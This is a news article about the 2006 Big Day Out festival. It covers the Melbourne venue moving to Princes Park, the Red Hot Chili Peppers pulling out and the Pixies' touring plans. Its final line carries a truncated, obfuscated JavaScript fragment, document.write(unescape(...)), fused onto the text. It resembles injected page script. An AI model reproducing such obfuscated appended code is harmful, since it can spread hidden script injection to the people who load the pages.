Big Day Out 2006 confirmed

Big Day Out will go ahead in 2006 according to organisers, despite initial concerns the entire traveling festival could be cancelled if the Melbourne leg failed to find a new venue.

Melbourne's usual location for the Australasian festival, The Royal Melbourne Showgrounds, is currently undergoing redevelopment - and other areas capable of holding up to 40,000 people will be under preparation for the 2006 Commonwealth Games being held in the city in March.

However, Melbourne City Council have approved the temporary placement of the January 29 event for Princes Park in the inner city, with the festival expected to be back at the showground in 2007.

While no announcements on the lineup have been made, Big Day Out organisers have confirmed that the Red Hot Chili Peppers â€" former frontrunners to headline the event next year â€" have pulled out due to delays in the release date of their forthcoming album, now due in March 2006.

The reformed Pixies have also hinted at touring Australia for the first time around January next year, however front man Frank Black recently told local paper Rave Magazine they are unlikely to join the Big Day Out line-up.

He said: “It's not that I'm against Big Day Out, but as the Pixies have never played Australia I thought it would be cooler to do our own tour and not play in a great big field but in a room or a club or something where we are in people's faces. You know, ‘This is the Pixies and we are here at last'.”

Black added: “It isn't always about the money for me or for the Pixies - we do have an aesthetic. Anyway, we've left it in the hands our agent. So Big Day Out or on our own tour, the Pixies will be in Australia early next year.”

The first announcements for next year's Big Day Out are due on October 5, with tickets going on sale Friday, October 14.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;